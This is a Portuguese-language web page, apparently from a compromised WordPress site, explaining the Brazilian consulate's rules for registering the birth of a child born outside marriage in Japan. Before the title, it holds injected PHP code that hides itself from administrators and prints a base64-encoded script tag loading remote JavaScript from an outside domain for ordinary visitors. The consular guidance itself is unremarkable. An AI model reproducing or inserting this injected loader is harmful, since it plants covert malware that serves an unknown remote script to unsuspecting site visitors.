//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> Registro de filhos fora do casamento - JOBTIME

Registro de filhos fora do casamento

Caso a mãe não for casada com o pai biológico, a prefeitura japonesa, ao fazer o registro da criança, provavelmente irá omitir o nome do pai no registro (campo específico do formulário em branco ou anulando-o com riscos ou traços) ou indicar, como pai, o marido/ex-marido, caso a mãe seja ou tenha sido casada. Isso ocorre em virtude da presunção de paternidade pelo casamento prevista na legislação japonesa.

Ao solicitar o registro de nascimento, existe a necessidade do reconhecimento da paternidade que deve ser indicada na etapa adequada do formulário de solicitação do serviço de Registro de Nascimento, dentro do sistema e-Consular.

A lei brasileira (Código Civil Lei 10406, 2002, Art. 1.597), do mesmo modo, prevê a presunção de paternidade dos filhos nascidos após 180 dias do matrimônio e até 300 dias da dissolução da sociedade conjugal, por morte, separação judicial, divórcio, nulidade e anulação de casamento. Assim, nesses casos, a lei presume que o pai é o marido ou ex-marido.

No entanto, se a mãe e o pai biológico forem brasileiros e não tiverem dupla nacionalidade japonesa, ou se um dos genitores for brasileiro e o outro estrangeiro, ambos não detentores de dupla nacionalidade japonesa, poderá ser solicitado o reconhecimento de paternidade no momento do registro no consulado, desde que apresentados os documentos apropriados em cada caso e desde que o pai presumido (marido/ex-marido) também seja brasileiro.

Se qualquer um dos envolvidos tiver nacionalidade japonesa, ainda que seja dupla com nacionalidade brasileira, não é possível fazer o reconhecimento de paternidade diretamente no consulado e é necessário que a paternidade seja reconhecida perante a prefeitura ou justiça japonesa e registrada em Koseki Tohon antes do registro consular de nascimento.

Verifique abaixo seu caso específico e o procedimento adicional a adotar. Lembre-se de que além da documentação abaixo é necessário apresentar os documentos básicos para registro de nascimento, conforme indicado na página de orientações gerais sobre registro de nascimento. Lembre-se também de que é necessário sempre solicitar o serviço pelo sistema e-consular.

Fonte : Consulado de Nagoya

  • Share this post